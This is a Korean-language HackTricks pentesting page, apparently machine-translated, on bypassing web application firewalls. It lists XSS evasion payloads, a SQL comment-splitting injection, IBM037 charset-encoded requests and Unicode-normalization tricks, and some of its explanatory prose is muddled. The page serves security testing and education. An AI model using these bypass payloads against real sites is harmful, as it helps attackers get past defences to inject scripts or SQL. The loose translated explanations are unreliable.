hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md
2024-02-10 21:30:13 +00:00

114 lines
8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WAF 우회
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
## 정규식 우회
다양한 기법을 사용하여 방화벽의 정규식 필터를 우회할 수 있습니다. 대소문자 교대, 줄 바꿈 추가, 페이로드 인코딩 등의 예가 있습니다. 다양한 우회 기법에 대한 자료는 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)와 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html)에서 찾을 수 있습니다. 아래 예시는 [이 기사](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)에서 가져왔습니다.
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## 문자 집합 인코딩
WAF는 웹 응용 프로그램 방화벽을 의미하며, 웹 애플리케이션의 보안을 강화하기 위해 사용됩니다. WAF는 일반적으로 웹 요청을 분석하고, 악성 행위를 탐지하고 차단하는 데 사용됩니다. 그러나 WAF는 종종 문자 집합 인코딩을 사용하여 악성 페이로드를 탐지하고 차단할 수 있습니다.
문자 집합 인코딩은 문자를 컴퓨터에서 사용할 수 있는 형식으로 변환하는 프로세스입니다. 일부 WAF는 특정 문자 집합을 차단하거나 허용하는 데 사용될 수 있습니다. 이를 통해 WAF는 악성 페이로드를 탐지하고 차단할 수 있습니다.
WAF 우회를 위해 문자 집합 인코딩을 사용할 수 있습니다. 이를 통해 악성 페이로드를 변형하여 WAF의 탐지를 피할 수 있습니다. 일반적으로 URL 인코딩, 유니코드 인코딩, HTML 엔티티 인코딩 등이 사용됩니다.
문자 집합 인코딩은 WAF 우회 기술 중 하나이며, 특정 WAF 구현에 따라 효과적일 수 있습니다. 그러나 모든 WAF에서 동작하지는 않으며, WAF 우회를 위해 다른 기술과 조합하여 사용하는 것이 좋습니다.
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037
##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))
## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61
%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## 난독화
Obfuscation(난독화)은 웹 응용 프로그램에서 사용되는 일반적인 WAF(Web Application Firewall) 우회 기술 중 하나입니다. 이 기술은 공격자가 공격 코드를 감지 및 차단하는 WAF를 우회하기 위해 코드를 변형시키는 것을 목표로 합니다.
난독화는 다양한 방법으로 수행될 수 있습니다. 일반적인 기술로는 변수 및 함수 이름의 변경, 코드의 재정렬, 불필요한 공백 및 주석 제거 등이 있습니다. 이러한 변형은 코드를 읽기 어렵게 만들어 WAF가 공격 코드를 감지하기 어렵게 합니다.
난독화는 주로 JavaScript 코드에서 사용되며, 주로 웹 응용 프로그램에서 사용되는 클라이언트 측 스크립트에 적용됩니다. 이를 통해 공격자는 WAF를 우회하고 악성 코드를 실행할 수 있습니다.
난독화는 WAF 우회를 위한 효과적인 기술 중 하나이지만, 완벽한 보안을 제공하지는 않습니다. 고급 WAF는 난독화된 코드를 분석하고 감지할 수 있을 수도 있습니다. 따라서 공격자는 다른 우회 기술과 함께 난독화를 사용하는 것이 좋습니다.
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## 유니코드 호환성
유니코드 정규화의 구현에 따라 (자세한 내용은 [여기](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)에서 확인 가능), 유니코드 호환성을 공유하는 문자는 WAF를 우회하고 의도한 페이로드로 실행될 수 있습니다. 호환 가능한 문자는 [여기](https://www.compart.com/en/unicode)에서 찾을 수 있습니다.
### 예제
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
## 크기 제한 초과
클라우드 기반 WAF에서는 페이로드가 X 크기보다 큰 경우, 요청이 WAF에 의해 확인되지 않을 수 있습니다. 이를 이용하여 간단히 우회할 수 있습니다.
### IP 회전
* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
</details>